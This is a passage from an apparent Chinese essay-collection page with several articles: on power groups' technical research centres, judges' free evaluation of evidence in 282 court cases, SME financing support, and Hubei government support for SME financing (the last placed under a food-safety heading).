国电新能源技术研究院筹建于2009年6月，国电新能源院设5个职能部门和1个能源创新技术研究中心，并分别依托相关产业公司组建了8个研究所：风电设备及控制技术研究所、太阳能技术研究所、污染控制与资源化技术研究所、燃烧技术研究所、风电运营技术研究所、海洋地热能发电技术研究所、煤化工技术研究所、火电节能减排技术研究所。国电新能源院研发领域包括风机整机研发、太阳能光伏与光热、脱硫脱硝、水及固体废弃物资源化、等离子煤粉燃烧技术和双尺度低氮技术、风电运营、海洋能资源分析与评估、大型潮汐电站选择、地热资源分析与评估、新型地热发电设备研究等。目前拥有1个国家重点实验室、2个国家能源研发中心、1个国家认定企业技术中心、1个电力环保博士后流动站。中国大唐集团

（1）大唐集团技术中心

据调研，大唐集团目前准备筹建约100人的技术中心。技术中心主要针对重大技术攻关和管理、机组优化、技术标准、管理办法制定等工作，以有效改变目前集团技术委外效果不理想的局面。在技术中心定位上，只负责技术工作，不涉及管理。（2）大唐集团技术经济研究院 2009年3月4日正式成立的中国大唐集团技术经济研究院，与中共中国大唐集团公司党校、中国大唐集团干部培训学院实行“三位一体”管理。三大功能定位为“酒店经营、教育培训、技术经济研究”。大唐研究院的重要使命是有针对性和前瞻性地开展国家宏观政策、产业政策与发展战略的研究，解决大唐集团公司发展中遇到的重大理论和实践问题，在服务领导决策、推动科学发展、提升干部素质等方面，提供有效的理论、策略、信息、技术和智力支撑。中国电力投资集团公司

目前，中电投集团尚未建立技术中心或其他以技术科研为主的实体单位。据调研，中国电力投资集团公司有意收购华东院，借此组建技术支持体系。中电投集团公司科技环保信息部是集团公司科技进步工作的归口管理部门，中电投集团公司所属各企业均根据企业特点和工作需要设立了独立科技管理机构。中国华电集团

（1）华电电力科学研究院

华电电力科学研究院原名为电力工业部杭州机械设计研究所。华电电科院主要从事发电技术监督管理和服务、火电厂经济运行及性能优化、可再生能源发电技术和水利水电装备研究及制造成套等业务，研究范围涵盖电力科学及其相关领域的多个方面。目前拥有11个专业机构、3个全资子公司和6家参股公司，并拥有4个国家级检测中心，建有空调蓄能与节能省级重点实验室，“中国华电集团公司动力技术研究中心”和“中国华电集团公司煤炭质检计量中心”也挂靠其中。组织构架如图2-3所示。

图2-4 华电电力科学研究院的组织构架

（2）中国华电集团公司电气及热控技术研究中心

“中国华电集团公司电气及热控技术研究中心”于2006年6月12日正式授牌成立，设立在国电南京自动化股份有限公司（以下简称“国电南自”），人员由华电集团科技环保部，华电工程科技管理部，国电南自的研发团队组成。电气热控技术中心的主要职责和任务是：①为集团公司的生产运行、基本建设、科技项目等工作提供技术咨询②动态跟踪集团的技术现状，推荐生产的前沿技术。③跟踪研究国内外先进的电气热控技术，定期形成研究报告，供集团公司决策参考。④建立、完善集团科技创新体系、评价指标体系。⑤组织电气热控技术交流和培训。⑥参加重大设备事故调查分析工作，协助制定反事故措施。⑦承担人才培训和培养工作。电气热控技术中心的组织架构如图2-4所示：

图2-5电气热控技术中心的组织架构图

（3）中国华电工程（集团）有限公司

中国华电工程（集团）有限公司（简称华电工程）是中国华电集团公司下属的全资企业，是中国华电集团公司工程技术产业板块的重要组成部分和发展平台。华电工程主要从事重工装备、环保水务、总承包、新能源、能源技术研究与服务、国际贸易六大板块业务。产品和服务涵盖电力、化工、港口、冶金、矿业、市政、新能源、进出口服务等领域。华电工程拥有国家级企业技术中心，博士后科研工作站，国家分布式能源技术研发中心等多个科研机构。神华北京国华电力有限责任公司 神华国华（北京）电力研究院有限公司

2008年10月，北京国华电力技术研究中心有限公司与国华电力原所属的北京国华物流技术有限公司、北京国华电力工程技术有限责任公司合并重组成立神华国华（北京）电力研究院有限公司。目前，国华研究院现有人员267人，下设五个管理中心或部门，其中包括技术研究中心、燃料管理中心、物流管理中心、人才开发培训中心和信息管理中心，分别从事技术、燃料、物流、人才开发与信息管理等方面的工作。其中技术研究中心现有员工109人，分为4个管理系统部门和4个技术开发部门。其中技术研究中心职责：负责中国神华电力板块各发电公司的技术支持；负责组织审查重大技术项目的策划、可行性研究、后评估工作，为决策提供依据；负责组织国华电力技术发展规划中重要课题的研究与实施；对中国神华所属各发电公司安全生产中需要解决的专业技术问题进行研究，提出解决方案和预防措施；建立中国神华电力板块统一的设备管理标准、技术标准、定额标准及评价标准，实现统一的管理模式；承担中国神华各发电公司检修、运行人员培训及岗位认证。集团下属的年度技术项目申报，技术中心进行统一的初次技术审核，审核通过方案才能上交集团管理部门进行二次审核。浙江省能源集团有限公司 浙江浙能能源技术有限公司

浙江浙能能源技术有限公司成立于2009年10月，现有员工50人，当前的主要任务是为系统发电厂提供生产技术监督，为工程建设提供技术咨询，远期目标将发展成为集团系统集技术研发、技术服务、信息情报和人才培养的综合性技术研发机构。成立以来，浙能技术中心开展了浙能系统内发电设备经济安全运行分析、机组检修后评估、技术监督、技术服务、工程技术咨询、技术培训交流、技术攻关、技术开发应用以及技术标准网的建立等工作，专业涵盖电气、工业控制、热能动力、化学、环保、材料、消防安全、科技情报等领域。

据调研，浙能技术中心建设之初，由浙江省电力建设有限公司抽调部分技术人员，加上集团内部公开招聘选拔人才组建而成。主要技术骨干由电厂招聘选拔产生，招聘条件为具备高工或者本科学历的技术人员，以此保证技术中心人员的整体素质。技术中心设置技术服务部，科技情报部、综合办公室。主要研究方向设置与电厂业务板块相对应，包括：锅炉、汽机、电气、金属、化学环保、热控。现行人才引进中以校园招聘为主，硕士、博士研究生首先通过参与新建项目、重大技术改造等积累生产实践经验。

浙能下属浙江省电力建设有限公司，工程部人手紧缺，技术人员难以应付众多技术问题。浙能技术中心配合承担新项目的初设计优化、辅助选型等工作，为浙江省电力建设有限公司提供技术服务。

在技术监督方面，技术中心与中试所组成联合体签订技术监督合同。技术中心负责技术监督的督促、质量把关以及沟通工作。技术中心成立前，技术监督费用为3元/千瓦，技术中心成立后，从中抽取1块多给技术中心。此外，技术监督中心作为生技安监部的技术参谋，为生技安监部提供技术支持。

技术中心于年初组织各个电厂参加技术座谈会，将各电厂的重点技术问题进行梳理，整体提出集团的重大技术问题和共性问题，由技术中心开展前期的技术调研，采用技术委外的方式，牵头组织重大技术和共性技术的研究。

此外，技术中心还承担着考核细则等集团相关准则的制定工作，以规范集团的技术操作，提高技术水平。

国内同行技术创新和支持体系发展的经验与教训

从上述各大电力集团的技术创新和技术支持体系管理现状研究，可以总结出了以下成功的经验：

（1）纵观国内各大发电集团，纷纷建立起以若干技术中心为核心的技术支持体系，完善的技术创新和技术支持体系在解决集团生产运行问题，集中解决重大技术问题上发挥了重要的作用。

（2）采用并购模式组建技术中心，形成强大的技术支持体系是集团在短时间内实现技术力量快速提升的有利方式。鉴于重要科研技术力量隶属关系以及资源紧缺等因素，目前通过并购模式组建技术中心的操作难度会进一步加大。（3）技术支持体系的定位要准确，能够与集团的发展相匹配；建设要科学合理，功能设置精简高效，科研人员配置数量和质量上均要满足集团技术创新的发展要求。一方面，要考虑集团的总体装机容量，有效评估业务量，既要防止专业设置过于广泛导致部分部门业务量不饱满，人浮于事的局面，同时也要避免定位过低，人员不足，技术支持作用难以发挥的情况。

（4）要正确处理好技术与管理的关系，有效实现技术和管理的分离，防止技术与管理职责不明。

（5）组建技术支撑体系时，必须注意处理好长期目标与短期目标、部分与整体的关系，注意硬手段与软环境相结合；同时注意技术中心建设的阶段性，不能一蹴而就。

（6）拥有强大的技术支持体系能有效保持技术上的客观性和独立性，拥有强大的技术支持体系能站在集团的角度，独立、客观地开展技术论证，同时也可以有效的防止利益输送等问题。

（7）人才培养是企业的重中之重，同时也是技术支持体系中的重要组成部分。一方面要建立起良好的人才培养通道，另一方面要使技术支持体系中的人才保持活力，此外还要是技术研究人员与生产实践相结合，使技术研究服务于实践，避免纯理论的研究。

（8）正确处理好技术支持体系与外部技术力量的关系。集团企业要充分利用国内外企业、高校、研究机构的人才、设备等资源，实现优势互补。

（9）建立建设完善的技术支持体系，有利于提高技术领域的前瞻性，增强技术储备力度。技术支持中心应能具备一定的技术前瞻性，进行包括技术流派、技术方案比选论证等工作，有效防止新技术领域摸着石头过河的局面，降低投资和运行的风险。

自由心证支持体系构建之实证思考 篇6

莲山 课件 w w w.5Y k J.C om 8

自由心证，是指证据的取舍即证明力的大小及其如何运用，法律不作预先规定，完全交由法官秉诸良心、理性自由判断，形成内心确信，从而对案件事实作出结论。法官审判中自由心证的运用状况，是司法实务中一个非常重要的问题。笔者最近查阅了２８２个民事和刑事案件（其中民事２１０件，刑事７２件），对司法实务中的自由心证运用问题进行了剖析和调查，试图描述其基本运行状态和发掘一些潜在的启示。

一、自由心证的运用在司法实务中处于基础地位

在笔者调查的２８２个案件中，涉及需要在分析判断若干个证据证明力基础上综合对证据证明案件事实的程度作出评价和判断的就有２３９件，占９１％。其中刑事案件占９９％，即７２个刑事案件中只有１件由于证据过于充分，法官对其是否达到认定案件真实的程度未加任何评价，民事案件占８１％，即２１０件中只有３９件或者由于双方当事人对事实完全无争议，或者当事人自认产生效力，不需要再对证据进行判断评价。另有一组数据显示：在这组案件中，对证据能力和证明力需要运用综合认证（对全部证据综合评判认定）的民事案件１７６件，刑事案件７２件；证据数方面民事案件平均证据数量９个，刑事案件平均证据数量１４个，其中最多的一起贷款诈骗案证据数量达到２１７个，仅卷宗就有４２册。诉讼中证据数量形式多样，证据之间的联系形态复杂多变，无法作出预见和一言以蔽之的概括性论断。

从以上分析我们可以形成的结论有：一是，在证据证明力的判断上，审判中有太多的难题，立法既定的规则是无能为力的，恰因如此，证据证明力的判断也成为了诉讼中最能体现人的智慧的阶段。司法过程中，直接面对事实的证明力判断活动给人的主观能动性的发挥留出了空间。没有自由心证，审判工作就几乎完全失去了基础；二是，自由心证的正确运用与否关乎审判的法律命运。

二、法官判断证据的自由程度现状

通过调查以上案件发现存在的主要问题是：一是心证条件不严格。有的案件反映出法官素质不具备自由心证所需的法律知识、逻辑思维和判断能力上的自由；二是法官心证形成过程具有秘密性、专断性。大量庭外化活动影响和干扰了庭审功能发挥，使审判带有间接性、秘密性的色彩；三是作为心证结果的依据，判决理由语焉不详，含糊不清或者过分简略；四是刑事诉讼中庭前预断大量存在，庭前证据展示只在少量复杂案件中试行，公诉方占据绝对优势地位，辩护律师对控方证据不公开行为无法形成有效制约，辩论原则不充分；五是保障证人、鉴定人出庭作证机制尚付之阙如，法官在证据收集上有极大的自由裁量权，根据当事人辩论的全部内容和证据来形成内心确信流于形式；六是法官评判证据时存在误认事实的危险。犯罪嫌疑人为规避嫌疑制作伪证毁灭证据，民事诉讼中为诉讼利益也有大量伪证出现，使有些案件进入法官评判视野的证据信息，可能十分有限或不真实，很多鉴定结论也存在技术或程序偏差。

结论：自由心证在司法实践中的运用是非理性和理性并存、非正当性与正当性并存的状态，对自由心证加以制约成为必要，以尽可能避免不正确的证据信息妨碍法官正确评判，抑制随意性。

三、自由心证与证明标准之间有着密切的联系

法官面对证据材料，要作出三个层面的判定，即证据能力判断，证据力的审查判断，诉讼证据是否达到证明标准的判断。证明标准对法官自由心证具有极大的约束力和决定力，尤其是在证明标准不明显时法官自由心证发挥了更大的主观作用，自由心证的内心确信程度要求与证明标准有实质性的联系。从调查情况看有如下几个特点：

１．刑事与民事法官自由心证思维模式有互通之处也有所不同。民事案件可以适用举证责任倒置、拒证责任推定、当事人自认等规则，与刑事案件迥异。民事举证责任可以由法官分配，当事人承担不利后果有可转移性。刑事举证责任一般为公诉方，只有涉及刑事责任能力，正当防卫才由被告人举证。因此说，民事案件的举证责任如何分配本身即属于民事法官的自由心证领域。诉讼理念的差异，使法官思路也不一样。刑事案件秉无罪推定的理念，而民事案件更常使用事实推定。

２．根据刑事案件要证明的罪行轻重，使用不同的证明标准，要求不同的内心确信程度。刑事案件中除经济犯罪案件证据普遍多以外，犯罪的性质越严重，必要的证据最低要求就越高。如一起夫妻绑架共同犯罪案件，夫实施绑架杀人行为证据确凿，被判处死刑，其妻虽事前知情，但无确凿证据证明其实施了绑架或起辅助作用，但综合事前事后其表现的证据，认为其起到了辅助作用，定为从犯，因内心确信程度不同，作了降格处理。

３．民事案件自由心证常常更为典型，自由程度更大。如一起侵犯注册商标专用权案，针对双方争执焦点是否被告只销售假冒该品牌海带３３７箱，法官认为，虽从直接证据看原告只能提供工商局查扣贾某销售的被告假冒原告品牌海带３３７箱，但因为其中只有一种包装箱为Ａ纸箱厂印制，另外两种纸箱应为其余厂家印制，因此被告辩称因急需从一家纸箱厂临时购进３３７箱包装箱与事实不符。仅在被查扣的３３７箱中就发现三种规格假冒商标纸箱，系不同厂家印制，说明被告显然不止一次、不止一个纸箱厂为其提供商标纸箱，原告所提供证据形成完整闭合的证据链，足以印证被告侵权行为不仅限于３３７箱。法官又进一步分析：并且，被告提供了Ａ纸箱厂９月２１日３３７个纸箱出库单和销售户贾某证明９月去拉货时只使用了商标纸箱３００多个一直未销售，与工商部门１２月份去查扣时贾某处仍有３３７箱逻辑上不能解释，因为在贾某９月份进货后，又于１１月份、１２月份分别从被告处进货，相隔多月，多次进货后仍为３３７箱是不合常理的，原告提供的证据构成了一个完整的证据体系，具有高度盖然性的证据优势，被告所提供只侵权３３７箱证据与事实不符。该案裁量判决被告赔偿原告损失１０万元。笔者查阅与之具有相近自由心证强度的案件有２９件。

４．有的案件法官自由心证出现证明标准混淆的情况。如一起人身伤害赔偿案件，法官认为死者尸体经家属同意已经火化，本案丧失了进一步查证的重要证据线索。两证人虽证实发现死者死时手握电钻，但不能证实是电击致死。而现场抢救医护人员后出具的证明证实系电击伤死亡，是根据死者家属陈述作出的该结论，该证明不能作为定案依据。因无死者倒地前行为的证据，不能认定死者之死是该电钻漏电所致。在这一民事案件中，笔者感觉证明标准似乎更加接近于刑事案件“排除合理怀疑”的证明标准，而不是民事案件的“高度盖然性标准”。

四、自由心证与证据规则是相辅相成的关系

——预先设定的证明力层次往往被纷繁复杂的现实情况突破。书证和鉴定结论往往具有更高证明力，是为证据规则所规定的。即便如此，现实情况往往与其表面不同，证据之间证明力往往交叉重叠，打破规则。如一债务案件，一方持有真实借据，对方称系办理代办存款业务中形成的，已经又给其存折，是主张债务人未撕毁应撕毁的欠据。法官认为，主张债务人虽持有对方出具的３万元欠据，但不能阐明欠据形成的具体时间和经过，不能提供证据佐证。且其对５月１３日对方确实出具了一份存款证据凭条无异议，又不能证明已经撕毁了当日的欠据，综合认定此欠据即原来５月１３日的欠据，已经由存折代替，不能再据此主张债权。因此说，有些情况下证据规则并不能当然限制和约束自由心证。

——证据规则对自由心证发挥了强大的制约功能。１．运用关联性规则的有多件。如一起潘某故意杀人案，司法鉴定结论认为犯罪嫌疑人因同日内连续３次饮酒，造成犯罪时意识不清，属于部分刑事责任能力人。而法官通过证人证言等证据综合分析认为，证人潘某之父（亦为被害人之夫）证明潘某只在早上饮酒，案发的傍晚前未再饮酒，该证言从证据来源上没有证据负担，应予采信，鉴定结论依据饮酒３次的事实基础不真实，不能采信。２．运用拒证推定规则的民事案件有３件。如一起劳动合同纠纷案中当事人拒不提供持有的与用人单位签订的劳动合同，法官认定采信用人单位提供的，有对于该职工不利条款、但因种种原因该职工未签字的劳动合同。３．适用举证责任倒置直接影响了事实认定结果的有２件。这两件都是医疗侵权赔偿诉讼，因最高法院证据规则明确规定了有无医疗过失由医疗方举证，因医疗方未能完成充分的举证义务而败诉。可见这些案件中，证据规则直接决定了法官自由心证的思维模式。

——有些情况下证据规则能协助法官运用自由心证，作出取舍和判断。有一个较典型的委托合同纠纷：轮胎厂委托货运公司发运的轮胎已悉数交付货运公司，货运公司持货票主张已经垫付了运费要求轮胎厂支付，法官认为本案关键证据是货票所载明运费是否为真实到站运费。一审存在很多疑点，经轮胎厂申请调查取证，法院依法取证证明目的站绥化站１２车皮轮胎货运公司未发运到起始站大连站，其货运公司提供的变更到站证言与事实不符，一审认定事实错误，轮胎厂不应支付该笔货票所载金额。同时法官认为，对于目的站哈尔滨站１６车皮轮胎是否实际到站，发生了实际运费，纵观本案证据，货运公司为其主张提供了书证货票１６张，载明运费１２万元，并有证人证言沈阳铁路局证明该１６车皮轮胎已装车从大连站发运。轮胎厂主张１６车皮未实际到站，仅有哈尔滨站证明１６车皮中查出５车、１１车皮未查到证人证言。依据证据规则，该证人证言未能排除到站的可能，不足以对抗书证货票效力，应确认该１６车皮轮胎货票的效力。且因客观情况经人民法院依职权调查未能收集到反驳证据，应由轮胎厂承担反驳证据举证不能的法律后果。

通过以上筛选归纳，可以得出结论：证据规则对自由心证有重要的制约和协助功能，如学者所言，现代自由心证包括两方面的含义，“一方面法官具有自由判断证据的职责和职权，其他人无权干涉；另一方面，法官自由裁量证据的行为受到法律规则，尤其是证据规则的制约，其行为符合基本的证据法则”但案件证据的复杂联系有时使得证据规则无能为力，甚至成为一种误导因素，必须使规则的一般理性与法官个体理性相结合，正确运用自由心证。

五、自由心证支持体系构建的思考

（一）保障法官独立审判权。法官独立审判权是司法独立的核心，自由心证权是“法官的职业特权”，法官正当自由心证权必须受到职业保障。包括保障作为法官共同体的审判机关法院独立于其他机关和权力，并在正当程序制约下，保障法官审判意志自由、审判行为自由，不受干扰地形成内心确信，并在此基础上自由地发布司法裁判。

（二）提升法官群体的职业化素质。通过严格法官遴选制度，严格职业准入标准，强化职业培训等途径不断优化。只有具备良好职业理性和职业良知的法官才能成为自由心证的“心证主体适格体”。

（三）完善正当诉讼程序体制。法官发现真实的过程公正，是自由心证正当性的基石。最重要的是严格遵循法官中立原则、辩论原则等诉讼基本原则。

（四）完善审判公开制度。“自由心证的公开化要比证据规则的强化在其普遍性和本质性方面更能凸显自由心证的现代化特征。”审判公开从法官角度要求就是心证公开，包括心证过程公开、心证理由公开、心证结果公开。一是要实行自由旁听制度，这是心证过程公开的条件。通过当庭举证、质证，尽可能给当事人充分诉讼机会，达到证据信息对称创造时空条件，以减少不正当证据信息的误导和充分展示有利证据的价值；二是判决书要充分说理，这是心证结果公开的保障。法官在判决书上负有法定的证据证明义务，这也是从法律上保障自由心证不偏离客观事实的基础。

（五）建立严密科学的证据规则。从我国实践看，现有的证据规则还不完善，应在立法层面上制定统一的证据法，确立诉讼证明标准、建立证据的关联性规则、完善传闻证据规则、完善非法证据排除规则、完善最佳证据规则、完善补强证据规则、完善意见证据规则等一系列证据规则体系。

文 章来源

中小企业金融支持体系思考 篇7

在2007年以来的世界金融危机的影响下,我国的中小企业生存和发展受到很大的威胁,而我国中小企业金融支持体系存在问题也是造成中小企业发展困难的原因之一,接下来主要是从金融支持组织体系、金融支持保证体系和金融支持法律体系三个方面来说明我国中小企业金融支持体系存在的问题及解决对策。

一、中小企业金融支持体系存在的问题

(一)缺乏专门为中小企业融资的机构

规范与发展中小金融机构是解决我国中小企业融资难问题的根本出路。目前,我国支持中小企业发展的主导银行是城市商业银行、城市信用社和民生银行。据推算这三家金融机构的资产占全部金融机构资产总额的比重约为15%,贷款占全部金融机构总额的比重为16%左右,其实力在整个金融体系中是较弱的。近年来,尽管国家开始重视中小企业金融服务问题,不少银行也都成立了中小企业信贷部,但收效不大,主要原因是由于中小企业的贷款规模小,信息不对称问题严重,并且往往缺乏足够的固定资产,使得大银行在向中小企业贷款时“成本高、抵押难、风险大”的矛盾日益突出,从而使得大银行不愿意向中小企业贷款。首先,中小企业贷款以短期流动资金贷款为主,具有时间紧、次数多、额度小、风险高的特点,贷款的周转期难以准确测算,逾期的可能性相对较高,国有商业银行缺乏面对中小企业信贷特点的灵活制度。其次,中小企业在申请贷款时,银行要对其提供的抵押物进行评估、确认、登记,中间手续麻烦,环节较多。再次,目前许多银行普遍实行了贷款第一责任制和贷款责任终身制,对出现风险的责任人实行严厉的惩罚措施,由于信贷人员的风险承担与利益回报不相称,致使信贷人员缺乏放贷的积极性。最后,为中小企业服务的中小金融机构数量少、实力相对较弱。虽然我国已有遍及城乡的农村信用社以及12家股份制商业银行、88家城市商业银行,但是,与发达国家相比,其数量仍然偏少,而且它们没有得到政策性融资权。这就要求商业银行在规避金融风险的前提下,建立为中小企业服务的职能部门,明确规定城市商业银行、城乡信用社和民生银行等金融机构的主要业务对象是中小企业,同时考虑在适当时机组建中小企业银行。

(二)信用担保体系不健全

中小企业由于规模较小、生命周期较短、抗风险能力较弱等原因,融资的风险比较高,而自身对此又无能为力,只能寻求政府的援助。虽然在政府的努力下,各地纷纷成立了以政府为背景的中小企业融资专业担保公司,但是政府消减风险的功能远远发挥得不够。目前我国还没有成立全国性的担保公司,各地的担保公司都独立运作,注册资本一般为几亿元,超过10亿元的甚少,因此信用担保基金的担保总额偏少,对中小企业自主创新融资的担保力度受到限制。同时由于担保额度小、担保期短,只能为中小企业提供临时周转资金担保,不能解决中小企业自主创新的融资问题。虽然小部分民营中小企业自己组建了担保公司,但由于资本小,同时缺乏法规及有效的担保机制,流动资金贷款远没有满足中小企业迅速增长的资金需要,很难获得银行的认同,这也使这些担保公司自身的发展受到了影响。

(三)法律政策体系不全

目前,我国金融支持中小企业自主创新的法律法规体系不完善,现行的财税、金融政策没有为中小企业自主创新提供有力的帮助。中小企业自主创新需要良好的法律和经营环境,需要政府的大力支持和帮助,需要公平、合理的政策保障。而我国尚未出台中小企业自主创新法,相关法规也不配套,政府有关部门在支持中小企业自主创新中形不成共识,扶持力度也不同,工作不到位,政策对中小企业自主创新的调控作用没有落实。特别是现行的税收政策存在不利于中小企业自主创新的因素。税收制度是影响企业自主创新能力提升和竞争力增强的重要因素,而企业自主创新税收政策是政府用税收手段来促进企业自主创新的一种特殊激励政策,旨在为企业自主创新营造良好的微观税收环境。但目前的税收政策在利于企业自主创新的设计上缺乏系统性,一些税收政策更多地表现为各项优惠措施的简单罗列,部分税收法规因临时性需要而仓促出台,不具系统性、规范性和指导性。这使得税收优惠效应大打折扣,政策性的弱化直接降低了税收优惠政策的发挥。

二、中小企业金融支持体系完善对策

(一)加强金融机构对中小企业的信贷支持

要高度重视中小金融机构的定位问题。要充分认识到发展中小金融机构是解决中小企业融资的一个重要途径,对国有银行和包括民营机构在内的中小金融机构一视同仁,出于保护国有商业银行、抑制中小金融机构目的的政策必须修正。要减少对中小金融机构的行政干预,使它们能够依法自主经营。可以在国有商业银行设立专门的部门负责中小企业,特别是私营、小型企业的信贷管理工作,在目前国有商业银行分级管理的基础上,对中小企业的贷款权要适当下放,在明确责任的前提下,对中小企业的小额流动资金贷款权限应下放到县支行。进一步简化贷款手续,对有条件的中小企业,应当积极推广授信额度的方式,对其中优质的中小企业,要适当扩大授信额度。在授信额度内简化贷款审批程序,可以尝试对一部分中小企业(如低风险和无风险业务)进行封闭贷款,由银行信贷人员参与贷款企业的财务管理,对贷款资金的发放、使用、回收等进行全程跟踪和监控测,确保信贷资金的安全回流。在完善国有商业银行体系的同时,应大力发展地方性中小金融机构。比如发展地方性中小金融机构城市商业银行、城市信用社、农村信用社、地方性中小企业产权交易市场、中小企业债券市场和地方性风险投资公司等。

(二)健全中小企业信用担保体系

为中小企业提供信用担保是许多国家和地区发展中小企业普遍采用的一种方式。目前,我国中小企业贷款难的一个重要原因是缺乏有力的担保支持,因而应建立一种动态的、综合的担保体系来引入再担保从而达到分化风险的效果。现在我国的担保机构一般有三种模式:一是政府型信用担保模式,以政府出资为主,吸收企业投资;二是中小企业互助型担保模式,由中小企业作为民营企业的融资渠道。会员自愿组成并出资,以互助方式在会员中进行担保,目的是有效分散中小民营企业的风险;三是商业银行担保模式,以民营企业投资为主。应着手完善各种担保形式,建立信用担保的风险控制与防范体系,如通过设立风险准备金,完善中小企业贷款抵押制度,加强抵押物市场建设以解决中小企业抵押物变现难的问题,强化中小企业的信用观念,建立中小企业信用评级和信用登记制度,扩大担保覆盖面,简化手续,降低费率,坚持信用担保机构按市场化、规范化、系统化原则进行,不能使担保公司行为行政化。可以支持区域或行业投资机构与金融机构联合成立担保组织,支持社会团体、行业协会、企业群体共同出资设立以民营企业信用担保为主的服务机构,为区域内、行业内、群体内的民营企业贷款提供规范有效的担保。此外,银行也应在加强金融风险防范的前提下,为中小企业的发展提供与之相适应的全方位的金融服务,使中小企业能够及时抓住稍纵即逝的发展机遇而得到迅速全面发展。包括为中小企业结算、汇兑转账和财务管理、清产核资等提供最大限度的支持,为中小企业提供产品、市场融资、新技术推广应用、经营管理等方面的信息咨询服务,对一些规模相对较大、信誉良好的中小企业可考虑建立主办银行制度,减少对客户的管理层次,简化审批程序,或实行先贷后审制度,以适应中小企业资金“时间紧、频率高、额度小”的特点,及时满足其合理的资金需要。

(三)完善金融支持法律法规

随着中小企业的发展,我国也制定了一些法律,如有关城乡集体企业、私营和个体企业的专门立法以及涉及税务、工商行政管理以及劳动工资等方面的法规,为中小企业的广泛建立和发展提供了一定的法律保障。但是对中小企业建立专门性的法律法规几乎是空白。应制定支持中小企业发展的金融法规体系如“民间借贷法”、“商业信用法”等法规,以法律形式规范政府、中介机构、金融机构、中小企业等各方的权利和义务、融资办法和保障措施,使中小企业融资需要得到有效保证。这其中最为关键的是确保中小企业融资问题有效解决的金融体制、贷款制度、财政投资等大量金融财政法规的建立和健全。在制定法律的过程中应该考虑有利于中小企业融资的优惠政策比如保持国有商业银行对中小企业的贷款份额,确保中小企业有充分的融资来源、通过实行诸如冲销坏账和补贴资本金以及扩大商业银行对中小企业贷款的利率浮动区间等措施,提高商业银行对中小企业贷款的积极性、修改国有商业银行企业信用等级评定标准,为中小企业平等获得银行贷款创造良好的外部条件、允许符合条件的中小企业通过资本市场进行直接融资等。通过支持中小企业发展的法律法规的制定,以法律形式规范各有关经济主体的责任范围、融资办法和保障措施,使中小企业不同发展阶段的多样性融资需求能够得到有效满足。

参考文献

食品安全支持体系上 篇8

在政府支持区域经济增长中，湖北中小企业在承接产业转移、促进产业结构调整和居民就业、推动科技创新等方面表现出极大的生命力，然而中小企业规模小、资金有限，融资结构单一，融资渠道堵塞，需要政府投入进行扶持，发挥政府公共服务的作用。完善中小企业融资的政府支持体系，活跃湖北市场和科技创新要素，已成为目前湖北省政府服务的重要任务之一。具体而言，包括外部环境支持子系统和融资公共服务平台子系统的构建和完善。

（一）外部环境支持子系统 在区域经济发展中，资本配置效率的高低和融资渠道的畅通不仅影响本地资本、人才等生产要素，而且还能对外部资金、技术等产生重要的影响。而当地资本配置效率和融资水平直接受到政府提供的公共服务水平的影响，公共服务水平较高，那么资本配置效率和融资水平就会提高，将会对生产要素产生有利影响，在留住本地资本、人才等要素的同时还会吸引外部资金、技术等，进而推动本地经济发展。因此，社会公共服务对于区域经济发展，尤其是中小企业发展具有重要的影响。根据湖北区域经济发展战略，为了满足产业结构调整、技术创新导向的需要，应重点加强科技基础设施建设、产业园区基础设施和信息基础设施建设。

（二）融资公共服务平台子系统 没有社会化服务体系的支持，中小企业融资难问题是很难解决的。而社会化服务网络的建立及其功能健全与否，又离不开政府一贯有力的支持。为此，地方政府应加大资金的投入力度，建立一套完善的政府支持中小企业融资的公共服务平台，对中小企业融资的信息咨询、财政诊断、管理优化等方面给予必要的政府支持。目前，湖北中小企业资金短缺、融资渠道单一、融资水平不高等因素已成为制约湖北中小企业发展的瓶颈，湖北应建立中小企业融资管理服务、协作创新、技术服务、信息化服务、创业风险投融资等五大中小企业融资公共服务平台。

二、外部环境支持子系统完善

外部环境支持子系统完善具体如下：

（一）加大科技基础设施的投入 中小企业的生存发展需要科技资源的支持。加大科技基础设施的投入，创建良好的科技环境能更好地吸引社会资金对中小企业投资。科技基础设施主要包括：一是硬件。各种硬件主要是用于科技研发材料、仪器、设备等；二是软件。各种软件主要是计算机软件、数据、文献等；三是技术、服务、研究空间等各种物质和信息条件。科技基础设施是各种研究的保障条件，是提高企业竞争力的基础。

湖北省作为科教大省，其科技资源丰富，各种软硬件基础条件较好，但这些科技基础设施并没有实现与中小企业的对接。有必要进一步加大对科技基础设施的投入力度。根据湖北经济发展战略，从政府定位和中小企业的需求出发，进行统筹规划，将基础设施建设与人才培养、基地建设等结合起来共同发展，在注重自主建设的同时参与省际或国际合作，加大对技术标准投入，增强湖北省中小企业的科技竞争力。

（二）加大产业园区基础设施建设 中小企业的发展需要发挥产业集聚效应，并通过产业园区整合优势资源，促使中小企业加入到湖北区域发展支柱产业的大军中来。政府需要加大产业园区基础设施建设，建立中小企业参与产业升级调整的平台，培育中小企业未来核心竞争力，以产业园区为载体，吸引社会资本向中小企业集聚。湖北省中小企业发展的导向应以适应产业结构升级调整为目标，在外部环境政府支持上，有必要以产业园区基础建设为突破口。

由于产业园区对基础设施的特殊要求，要加大政府资金投入力度，高标准地建设产业园区。在园区基础设施方面，为确保后续发展空间，配套设施的建设一定要具有超前性，提高产业园区承载项目的能力，以全方位满足投资者在交通、水、电、气以及商务信息处理等方面的需要，从而使湖北省利用既有的区位优势和科教优势，形成人流、物流、资金流、信息流等生产要素集群的洼地效应，建成中小企业投资者的宝地、创业者的乐园。

（三）加大信息基础设施建设 信息基础设施建设是进入信息时代的基础，也是中小企业在未来市场竞争中保持竞争力优势的关键所在。在信息时代，信息基础设施的建设，要充分重视政府的作用和强大的政府支撑体系。政府需要在市场环境培育、规制和监管体系建立、信息公开、普遍服务等方面发挥引领作用。具体包括确立湖北省信息基础设施发展的整体战略；制定宏观政策，必要时开通绿色通道，协调社会、企业、公民间利益关系等方面，引导社会资金对地方信息基础设施进行投资；制定信息技术研发计划，鼓励技术创新；建立灵活的管理结构，以便中小企业融资、发展壮大、与快速变化的信息技术和市场保持同步。

三、融资公共服务平台子系统完善

